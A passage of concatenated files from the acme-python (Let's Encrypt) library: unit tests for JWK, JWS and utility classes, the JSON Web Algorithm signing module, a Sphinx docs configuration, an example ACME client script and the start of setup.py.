            'dq': 'bHh2u7etM8LKKCF2pY2UdQ',
            'qi': 'oi45cEkbVoJjAbnQpFY87Q',
        })
        self.jwk = self.private

    def test_init_auto_comparable(self):
        self.assertTrue(isinstance(
            self.jwk256_not_comparable.key, util.ComparableRSAKey))
        self.assertEqual(self.jwk256, self.jwk256_not_comparable)

    def test_encode_param_zero(self):
        from acme.jose.jwk import JWKRSA
        # pylint: disable=protected-access
        # TODO: move encode/decode _param to separate class
        self.assertEqual('AA', JWKRSA._encode_param(0))

    def test_equals(self):
        self.assertEqual(self.jwk256, self.jwk256)
        self.assertEqual(self.jwk512, self.jwk512)

    def test_not_equals(self):
        self.assertNotEqual(self.jwk256, self.jwk512)
        self.assertNotEqual(self.jwk512, self.jwk256)

    def test_load(self):
        from acme.jose.jwk import JWKRSA
        self.assertEqual(self.private, JWKRSA.load(
            test_util.load_vector('rsa256_key.pem')))

    def test_public_key(self):
        self.assertEqual(self.jwk256, self.private.public_key())

    def test_to_partial_json(self):
        self.assertEqual(self.jwk256.to_partial_json(), self.jwk256json)
        self.assertEqual(self.jwk512.to_partial_json(), self.jwk512json)
        self.assertEqual(self.private.to_partial_json(), self.private_json)

    def test_from_json(self):
        from acme.jose.jwk import JWK
        self.assertEqual(
            self.jwk256, JWK.from_json(self.jwk256json))
        self.assertEqual(
            self.jwk512, JWK.from_json(self.jwk512json))
        self.assertEqual(self.private, JWK.from_json(self.private_json))

    def test_from_json_private_small(self):
        from acme.jose.jwk import JWK
        self.assertEqual(self.private, JWK.from_json(self.private_json_small))

    def test_from_json_missing_one_additional(self):
        from acme.jose.jwk import JWK
        del self.private_json['q']
        self.assertRaises(errors.Error, JWK.from_json, self.private_json)

    def test_from_json_hashable(self):
        from acme.jose.jwk import JWK
        hash(JWK.from_json(self.jwk256json))

    def test_from_json_non_schema_errors(self):
        # valid against schema, but still failing
        from acme.jose.jwk import JWK
        self.assertRaises(errors.DeserializationError, JWK.from_json,
                          {'kty': 'RSA', 'e': 'AQAB', 'n': ''})
        self.assertRaises(errors.DeserializationError, JWK.from_json,
                          {'kty': 'RSA', 'e': 'AQAB', 'n': '1'})

    def test_thumbprint_go_jose(self):
        # https://github.com/square/go-jose/blob/4ddd71883fa547d37fbf598071f04512d8bafee3/jwk.go#L155
        # https://github.com/square/go-jose/blob/4ddd71883fa547d37fbf598071f04512d8bafee3/jwk_test.go#L331-L344
        # https://github.com/square/go-jose/blob/4ddd71883fa547d37fbf598071f04512d8bafee3/jwk_test.go#L384
        from acme.jose.jwk import JWKRSA
        key = JWKRSA.json_loads("""{
    "kty": "RSA",
    "kid": "bilbo.baggins@hobbiton.example",
    "use": "sig",
    "n": "n4EPtAOCc9AlkeQHPzHStgAbgs7bTZLwUBZdR8_KuKPEHLd4rHVTeT-O-XV2jRojdNhxJWTDvNd7nqQ0VEiZQHz_AJmSCpMaJMRBSFKrKb2wqVwGU_NsYOYL-QtiWN2lbzcEe6XC0dApr5ydQLrHqkHHig3RBordaZ6Aj-oBHqFEHYpPe7Tpe-OfVfHd1E6cS6M1FZcD1NNLYD5lFHpPI9bTwJlsde3uhGqC0ZCuEHg8lhzwOHrtIQbS0FVbb9k3-tVTU4fg_3L_vniUFAKwuCLqKnS2BYwdq_mzSnbLY7h_qixoR7jig3__kRhuaxwUkRz5iaiQkqgc5gHdrNP5zw",
    "e": "AQAB"
}""")
        self.assertEqual(
            binascii.hexlify(key.thumbprint()),
            b"f63838e96077ad1fc01c3f8405774dedc0641f558ebb4b40dccf5f9b6d66a932")


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for acme.jose.util."""
import functools
import unittest

import six

from acme import test_util


class ComparableX509Test(unittest.TestCase):
    """Tests for acme.jose.util.ComparableX509."""

    def setUp(self):
        # test_util.load_comparable_{csr,cert} return ComparableX509
        self.req1 = test_util.load_comparable_csr('csr.pem')
        self.req2 = test_util.load_comparable_csr('csr.pem')
        self.req_other = test_util.load_comparable_csr('csr-san.pem')

        self.cert1 = test_util.load_comparable_cert('cert.pem')
        self.cert2 = test_util.load_comparable_cert('cert.pem')
        self.cert_other = test_util.load_comparable_cert('cert-san.pem')

    def test_getattr_proxy(self):
        self.assertTrue(self.cert1.has_expired())

    def test_eq(self):
        self.assertEqual(self.req1, self.req2)
        self.assertEqual(self.cert1, self.cert2)

    def test_ne(self):
        self.assertNotEqual(self.req1, self.req_other)
        self.assertNotEqual(self.cert1, self.cert_other)

    def test_ne_wrong_types(self):
        self.assertNotEqual(self.req1, 5)
        self.assertNotEqual(self.cert1, 5)

    def test_hash(self):
        self.assertEqual(hash(self.req1), hash(self.req2))
        self.assertNotEqual(hash(self.req1), hash(self.req_other))

        self.assertEqual(hash(self.cert1), hash(self.cert2))
        self.assertNotEqual(hash(self.cert1), hash(self.cert_other))

    def test_repr(self):
        for x509 in self.req1, self.cert1:
            self.assertEqual(repr(x509),
                             '<ComparableX509({0!r})>'.format(x509.wrapped))


class ComparableRSAKeyTest(unittest.TestCase):
    """Tests for acme.jose.util.ComparableRSAKey."""

    def setUp(self):
        # test_utl.load_rsa_private_key return ComparableRSAKey
        self.key = test_util.load_rsa_private_key('rsa256_key.pem')
        self.key_same = test_util.load_rsa_private_key('rsa256_key.pem')
        self.key2 = test_util.load_rsa_private_key('rsa512_key.pem')

    def test_getattr_proxy(self):
        self.assertEqual(256, self.key.key_size)

    def test_eq(self):
        self.assertEqual(self.key, self.key_same)

    def test_ne(self):
        self.assertNotEqual(self.key, self.key2)

    def test_ne_different_types(self):
        self.assertNotEqual(self.key, 5)

    def test_ne_not_wrapped(self):
        # pylint: disable=protected-access
        self.assertNotEqual(self.key, self.key_same._wrapped)

    def test_ne_no_serialization(self):
        from acme.jose.util import ComparableRSAKey
        self.assertNotEqual(ComparableRSAKey(5), ComparableRSAKey(5))

    def test_hash(self):
        self.assertTrue(isinstance(hash(self.key), int))
        self.assertEqual(hash(self.key), hash(self.key_same))
        self.assertNotEqual(hash(self.key), hash(self.key2))

    def test_repr(self):
        self.assertTrue(repr(self.key).startswith(
            '<ComparableRSAKey(<cryptography.hazmat.'))

    def test_public_key(self):
        from acme.jose.util import ComparableRSAKey
        self.assertTrue(isinstance(self.key.public_key(), ComparableRSAKey))


class ImmutableMapTest(unittest.TestCase):
    """Tests for acme.jose.util.ImmutableMap."""

    def setUp(self):
        # pylint: disable=invalid-name,too-few-public-methods
        # pylint: disable=missing-docstring
        from acme.jose.util import ImmutableMap

        class A(ImmutableMap):
            __slots__ = ('x', 'y')

        class B(ImmutableMap):
            __slots__ = ('x', 'y')

        self.A = A
        self.B = B

        self.a1 = self.A(x=1, y=2)
        self.a1_swap = self.A(y=2, x=1)
        self.a2 = self.A(x=3, y=4)
        self.b = self.B(x=1, y=2)

    def test_update(self):
        self.assertEqual(self.A(x=2, y=2), self.a1.update(x=2))
        self.assertEqual(self.a2, self.a1.update(x=3, y=4))

    def test_get_missing_item_raises_key_error(self):
        self.assertRaises(KeyError, self.a1.__getitem__, 'z')

    def test_order_of_args_does_not_matter(self):
        self.assertEqual(self.a1, self.a1_swap)

    def test_type_error_on_missing(self):
        self.assertRaises(TypeError, self.A, x=1)
        self.assertRaises(TypeError, self.A, y=2)

    def test_type_error_on_unrecognized(self):
        self.assertRaises(TypeError, self.A, x=1, z=2)
        self.assertRaises(TypeError, self.A, x=1, y=2, z=3)

    def test_get_attr(self):
        self.assertEqual(1, self.a1.x)
        self.assertEqual(2, self.a1.y)
        self.assertEqual(1, self.a1_swap.x)
        self.assertEqual(2, self.a1_swap.y)

    def test_set_attr_raises_attribute_error(self):
        self.assertRaises(
            AttributeError, functools.partial(self.a1.__setattr__, 'x'), 10)

    def test_equal(self):
        self.assertEqual(self.a1, self.a1)
        self.assertEqual(self.a2, self.a2)
        self.assertNotEqual(self.a1, self.a2)

    def test_hash(self):
        self.assertEqual(hash((1, 2)), hash(self.a1))

    def test_unhashable(self):
        self.assertRaises(TypeError, self.A(x=1, y={}).__hash__)

    def test_repr(self):
        self.assertEqual('A(x=1, y=2)', repr(self.a1))
        self.assertEqual('A(x=1, y=2)', repr(self.a1_swap))
        self.assertEqual('B(x=1, y=2)', repr(self.b))
        self.assertEqual("B(x='foo', y='bar')", repr(self.B(x='foo', y='bar')))


class frozendictTest(unittest.TestCase):  # pylint: disable=invalid-name
    """Tests for acme.jose.util.frozendict."""

    def setUp(self):
        from acme.jose.util import frozendict
        self.fdict = frozendict(x=1, y='2')

    def test_init_dict(self):
        from acme.jose.util import frozendict
        self.assertEqual(self.fdict, frozendict({'x': 1, 'y': '2'}))

    def test_init_other_raises_type_error(self):
        from acme.jose.util import frozendict
        # specifically fail for generators...
        self.assertRaises(TypeError, frozendict, six.iteritems({'a': 'b'}))

    def test_len(self):
        self.assertEqual(2, len(self.fdict))

    def test_hash(self):
        self.assertTrue(isinstance(hash(self.fdict), int))

    def test_getattr_proxy(self):
        self.assertEqual(1, self.fdict.x)
        self.assertEqual('2', self.fdict.y)

    def test_getattr_raises_attribute_error(self):
        self.assertRaises(AttributeError, self.fdict.__getattr__, 'z')

    def test_setattr_immutable(self):
        self.assertRaises(AttributeError, self.fdict.__setattr__, 'z', 3)

    def test_repr(self):
        self.assertEqual("frozendict(x=1, y='2')", repr(self.fdict))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""JSON Web Algorithm.

https://tools.ietf.org/html/draft-ietf-jose-json-web-algorithms-40

"""
import abc
import collections
import logging

import cryptography.exceptions
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import hmac
from cryptography.hazmat.primitives.asymmetric import padding

from acme.jose import errors
from acme.jose import interfaces
from acme.jose import jwk


logger = logging.getLogger(__name__)


class JWA(interfaces.JSONDeSerializable):  # pylint: disable=abstract-method
    # pylint: disable=too-few-public-methods
    # for some reason disable=abstract-method has to be on the line
    # above...
    """JSON Web Algorithm."""


class JWASignature(JWA, collections.Hashable):
    """JSON Web Signature Algorithm."""
    SIGNATURES = {}

    def __init__(self, name):
        self.name = name

    def __eq__(self, other):
        if not isinstance(other, JWASignature):
            return NotImplemented
        return self.name == other.name

    def __hash__(self):
        return hash((self.__class__, self.name))

    def __ne__(self, other):
        return not self == other

    @classmethod
    def register(cls, signature_cls):
        """Register class for JSON deserialization."""
        cls.SIGNATURES[signature_cls.name] = signature_cls
        return signature_cls

    def to_partial_json(self):
        return self.name

    @classmethod
    def from_json(cls, jobj):
        return cls.SIGNATURES[jobj]

    @abc.abstractmethod
    def sign(self, key, msg):  # pragma: no cover
        """Sign the ``msg`` using ``key``."""
        raise NotImplementedError()

    @abc.abstractmethod
    def verify(self, key, msg, sig):  # pragma: no cover
        """Verify the ``msg` and ``sig`` using ``key``."""
        raise NotImplementedError()

    def __repr__(self):
        return self.name


class _JWAHS(JWASignature):

    kty = jwk.JWKOct

    def __init__(self, name, hash_):
        super(_JWAHS, self).__init__(name)
        self.hash = hash_()

    def sign(self, key, msg):
        signer = hmac.HMAC(key, self.hash, backend=default_backend())
        signer.update(msg)
        return signer.finalize()

    def verify(self, key, msg, sig):
        verifier = hmac.HMAC(key, self.hash, backend=default_backend())
        verifier.update(msg)
        try:
            verifier.verify(sig)
        except cryptography.exceptions.InvalidSignature as error:
            logger.debug(error, exc_info=True)
            return False
        else:
            return True


class _JWARSA(object):

    kty = jwk.JWKRSA
    padding = NotImplemented
    hash = NotImplemented

    def sign(self, key, msg):
        """Sign the ``msg`` using ``key``."""
        try:
            signer = key.signer(self.padding, self.hash)
        except AttributeError as error:
            logger.debug(error, exc_info=True)
            raise errors.Error("Public key cannot be used for signing")
        except ValueError as error:  # digest too large
            logger.debug(error, exc_info=True)
            raise errors.Error(str(error))
        signer.update(msg)
        try:
            return signer.finalize()
        except ValueError as error:
            logger.debug(error, exc_info=True)
            raise errors.Error(str(error))

    def verify(self, key, msg, sig):
        """Verify the ``msg` and ``sig`` using ``key``."""
        verifier = key.verifier(sig, self.padding, self.hash)
        verifier.update(msg)
        try:
            verifier.verify()
        except cryptography.exceptions.InvalidSignature as error:
            logger.debug(error, exc_info=True)
            return False
        else:
            return True


class _JWARS(_JWARSA, JWASignature):

    def __init__(self, name, hash_):
        super(_JWARS, self).__init__(name)
        self.padding = padding.PKCS1v15()
        self.hash = hash_()


class _JWAPS(_JWARSA, JWASignature):

    def __init__(self, name, hash_):
        super(_JWAPS, self).__init__(name)
        self.padding = padding.PSS(
            mgf=padding.MGF1(hash_()),
            salt_length=padding.PSS.MAX_LENGTH)
        self.hash = hash_()


class _JWAES(JWASignature):  # pylint: disable=abstract-class-not-used

    # TODO: implement ES signatures

    def sign(self, key, msg):  # pragma: no cover
        raise NotImplementedError()

    def verify(self, key, msg, sig):  # pragma: no cover
        raise NotImplementedError()


HS256 = JWASignature.register(_JWAHS('HS256', hashes.SHA256))
HS384 = JWASignature.register(_JWAHS('HS384', hashes.SHA384))
HS512 = JWASignature.register(_JWAHS('HS512', hashes.SHA512))

RS256 = JWASignature.register(_JWARS('RS256', hashes.SHA256))
RS384 = JWASignature.register(_JWARS('RS384', hashes.SHA384))
RS512 = JWASignature.register(_JWARS('RS512', hashes.SHA512))

PS256 = JWASignature.register(_JWAPS('PS256', hashes.SHA256))
PS384 = JWASignature.register(_JWAPS('PS384', hashes.SHA384))
PS512 = JWASignature.register(_JWAPS('PS512', hashes.SHA512))

ES256 = JWASignature.register(_JWAES('ES256'))
ES384 = JWASignature.register(_JWAES('ES384'))
ES512 = JWASignature.register(_JWAES('ES512'))






"""Tests for acme.jose.jws."""
import base64
import unittest

import mock
import OpenSSL

from acme import test_util

from acme.jose import errors
from acme.jose import json_util
from acme.jose import jwa
from acme.jose import jwk


CERT = test_util.load_comparable_cert('cert.pem')
KEY = jwk.JWKRSA.load(test_util.load_vector('rsa512_key.pem'))


class MediaTypeTest(unittest.TestCase):
    """Tests for acme.jose.jws.MediaType."""

    def test_decode(self):
        from acme.jose.jws import MediaType
        self.assertEqual('application/app', MediaType.decode('application/app'))
        self.assertEqual('application/app', MediaType.decode('app'))
        self.assertRaises(
            errors.DeserializationError, MediaType.decode, 'app;foo')

    def test_encode(self):
        from acme.jose.jws import MediaType
        self.assertEqual('app', MediaType.encode('application/app'))
        self.assertEqual('application/app;foo',
                         MediaType.encode('application/app;foo'))


class HeaderTest(unittest.TestCase):
    """Tests for acme.jose.jws.Header."""

    def setUp(self):
        from acme.jose.jws import Header
        self.header1 = Header(jwk='foo')
        self.header2 = Header(jwk='bar')
        self.crit = Header(crit=('a', 'b'))
        self.empty = Header()

    def test_add_non_empty(self):
        from acme.jose.jws import Header
        self.assertEqual(Header(jwk='foo', crit=('a', 'b')),
                         self.header1 + self.crit)

    def test_add_empty(self):
        self.assertEqual(self.header1, self.header1 + self.empty)
        self.assertEqual(self.header1, self.empty + self.header1)

    def test_add_overlapping_error(self):
        self.assertRaises(TypeError, self.header1.__add__, self.header2)

    def test_add_wrong_type_error(self):
        self.assertRaises(TypeError, self.header1.__add__, 'xxx')

    def test_crit_decode_always_errors(self):
        from acme.jose.jws import Header
        self.assertRaises(errors.DeserializationError, Header.from_json,
                          {'crit': ['a', 'b']})

    def test_x5c_decoding(self):
        from acme.jose.jws import Header
        header = Header(x5c=(CERT, CERT))
        jobj = header.to_partial_json()
        cert_asn1 = OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_ASN1, CERT.wrapped)
        cert_b64 = base64.b64encode(cert_asn1)
        self.assertEqual(jobj, {'x5c': [cert_b64, cert_b64]})
        self.assertEqual(header, Header.from_json(jobj))
        jobj['x5c'][0] = base64.b64encode(b'xxx' + cert_asn1)
        self.assertRaises(errors.DeserializationError, Header.from_json, jobj)

    def test_find_key(self):
        self.assertEqual('foo', self.header1.find_key())
        self.assertEqual('bar', self.header2.find_key())
        self.assertRaises(errors.Error, self.crit.find_key)


class SignatureTest(unittest.TestCase):
    """Tests for acme.jose.jws.Signature."""

    def test_from_json(self):
        from acme.jose.jws import Header
        from acme.jose.jws import Signature
        self.assertEqual(
            Signature(signature=b'foo', header=Header(alg=jwa.RS256)),
            Signature.from_json(
                {'signature': 'Zm9v', 'header': {'alg': 'RS256'}}))

    def test_from_json_no_alg_error(self):
        from acme.jose.jws import Signature
        self.assertRaises(errors.DeserializationError,
                          Signature.from_json, {'signature': 'foo'})


class JWSTest(unittest.TestCase):
    """Tests for acme.jose.jws.JWS."""

    def setUp(self):
        self.privkey = KEY
        self.pubkey = self.privkey.public_key()

        from acme.jose.jws import JWS
        self.unprotected = JWS.sign(
            payload=b'foo', key=self.privkey, alg=jwa.RS256)
        self.protected = JWS.sign(
            payload=b'foo', key=self.privkey, alg=jwa.RS256,
            protect=frozenset(['jwk', 'alg']))
        self.mixed = JWS.sign(
            payload=b'foo', key=self.privkey, alg=jwa.RS256,
            protect=frozenset(['alg']))

    def test_pubkey_jwk(self):
        self.assertEqual(self.unprotected.signature.combined.jwk, self.pubkey)
        self.assertEqual(self.protected.signature.combined.jwk, self.pubkey)
        self.assertEqual(self.mixed.signature.combined.jwk, self.pubkey)

    def test_sign_unprotected(self):
        self.assertTrue(self.unprotected.verify())

    def test_sign_protected(self):
        self.assertTrue(self.protected.verify())

    def test_sign_mixed(self):
        self.assertTrue(self.mixed.verify())

    def test_compact_lost_unprotected(self):
        compact = self.mixed.to_compact()
        self.assertEqual(
            b'eyJhbGciOiAiUlMyNTYifQ.Zm9v.OHdxFVj73l5LpxbFp1AmYX4yJM0Pyb'
            b'_893n1zQjpim_eLS5J1F61lkvrCrCDErTEJnBGOGesJ72M7b6Ve1cAJA',
            compact)

        from acme.jose.jws import JWS
        mixed = JWS.from_compact(compact)

        self.assertNotEqual(self.mixed, mixed)
        self.assertEqual(
            set(['alg']), set(mixed.signature.combined.not_omitted()))

    def test_from_compact_missing_components(self):
        from acme.jose.jws import JWS
        self.assertRaises(errors.DeserializationError, JWS.from_compact, b'.')

    def test_json_omitempty(self):
        protected_jobj = self.protected.to_partial_json(flat=True)
        unprotected_jobj = self.unprotected.to_partial_json(flat=True)

        self.assertTrue('protected' not in unprotected_jobj)
        self.assertTrue('header' not in protected_jobj)

        unprotected_jobj['header'] = unprotected_jobj['header'].to_json()

        from acme.jose.jws import JWS
        self.assertEqual(JWS.from_json(protected_jobj), self.protected)
        self.assertEqual(JWS.from_json(unprotected_jobj), self.unprotected)

    def test_json_flat(self):
        jobj_to = {
            'signature': json_util.encode_b64jose(
                self.mixed.signature.signature),
            'payload': json_util.encode_b64jose(b'foo'),
            'header': self.mixed.signature.header,
            'protected': json_util.encode_b64jose(
                self.mixed.signature.protected.encode('utf-8')),
        }
        jobj_from = jobj_to.copy()
        jobj_from['header'] = jobj_from['header'].to_json()

        self.assertEqual(self.mixed.to_partial_json(flat=True), jobj_to)
        from acme.jose.jws import JWS
        self.assertEqual(self.mixed, JWS.from_json(jobj_from))

    def test_json_not_flat(self):
        jobj_to = {
            'signatures': (self.mixed.signature,),
            'payload': json_util.encode_b64jose(b'foo'),
        }
        jobj_from = jobj_to.copy()
        jobj_from['signatures'] = [jobj_to['signatures'][0].to_json()]

        self.assertEqual(self.mixed.to_partial_json(flat=False), jobj_to)
        from acme.jose.jws import JWS
        self.assertEqual(self.mixed, JWS.from_json(jobj_from))

    def test_from_json_mixed_flat(self):
        from acme.jose.jws import JWS
        self.assertRaises(errors.DeserializationError, JWS.from_json,
                          {'signatures': (), 'signature': 'foo'})

    def test_from_json_hashable(self):
        from acme.jose.jws import JWS
        hash(JWS.from_json(self.mixed.to_json()))


class CLITest(unittest.TestCase):

    def setUp(self):
        self.key_path = test_util.vector_path('rsa512_key.pem')

    def test_unverified(self):
        from acme.jose.jws import CLI
        with mock.patch('sys.stdin') as sin:
            sin.read.return_value = '{"payload": "foo", "signature": "xxx"}'
            with mock.patch('sys.stdout'):
                self.assertEqual(-1, CLI.run(['verify']))

    def test_json(self):
        from acme.jose.jws import CLI

        with mock.patch('sys.stdin') as sin:
            sin.read.return_value = 'foo'
            with mock.patch('sys.stdout') as sout:
                CLI.run(['sign', '-k', self.key_path, '-a', 'RS256',
                         '-p', 'jwk'])
                sin.read.return_value = sout.write.mock_calls[0][1][0]
                self.assertEqual(0, CLI.run(['verify']))

    def test_compact(self):
        from acme.jose.jws import CLI

        with mock.patch('sys.stdin') as sin:
            sin.read.return_value = 'foo'
            with mock.patch('sys.stdout') as sout:
                CLI.run(['--compact', 'sign', '-k', self.key_path])
                sin.read.return_value = sout.write.mock_calls[0][1][0]
                self.assertEqual(0, CLI.run([
                    '--compact', 'verify', '--kty', 'RSA',
                    '-k', self.key_path]))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






# -*- coding: utf-8 -*-
#
# acme-python documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 18 13:38:06 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex


here = os.path.abspath(os.path.dirname(__file__))


# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
    'sphinxcontrib.programoutput',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'acme-python'
copyright = u'2015-2015, Let\'s Encrypt Project'
author = u'Let\'s Encrypt Project'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0'
# The full version, including alpha/beta/rc tags.
release = '0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'acme-pythondoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'acme-python.tex', u'acme-python Documentation',
     u'Let\'s Encrypt Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'acme-python', u'acme-python Documentation',
     [author], 1),
    ('man/jws', 'jws', u'jws script documentation', [project], 1),
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'acme-python', u'acme-python Documentation',
     author, 'acme-python', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
}






"""Example script showing how to use acme client API."""
import logging
import os
import pkg_resources

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
import OpenSSL

from acme import client
from acme import messages
from acme import jose


logging.basicConfig(level=logging.DEBUG)


DIRECTORY_URL = 'https://acme-staging.api.letsencrypt.org/directory'
BITS = 2048  # minimum for Boulder
DOMAIN = 'example1.com'  # example.com is ignored by Boulder

# generate_private_key requires cryptography>=0.5
key = jose.JWKRSA(key=rsa.generate_private_key(
    public_exponent=65537,
    key_size=BITS,
    backend=default_backend()))
acme = client.Client(DIRECTORY_URL, key)

regr = acme.register()
logging.info('Auto-accepting TOS: %s', regr.terms_of_service)
acme.agree_to_tos(regr)
logging.debug(regr)

authzr = acme.request_challenges(
    identifier=messages.Identifier(typ=messages.IDENTIFIER_FQDN, value=DOMAIN),
    new_authzr_uri=regr.new_authzr_uri)
logging.debug(authzr)

authzr, authzr_response = acme.poll(authzr)

csr = OpenSSL.crypto.load_certificate_request(
    OpenSSL.crypto.FILETYPE_ASN1, pkg_resources.resource_string(
        'acme', os.path.join('testdata', 'csr.der')))
try:
    acme.request_issuance(jose.util.ComparableX509(csr), (authzr,))
except messages.Error as error:
    print ("This script is doomed to fail as no authorization "
           "challenges are ever solved. Error from server: {0}".format(error))






import codecs
import os
import sys

from setuptools import setup
from setuptools import find_packages


def read_file(filename, encoding='utf8'):
    """Read unicode from given file."""
    with codecs.open(filename, encoding=encoding) as fd:
        return fd.read()


here = os.path.abspath(os.path.dirname(__file__))
readme = read_file(os.path.join(here, 'README.rst'))


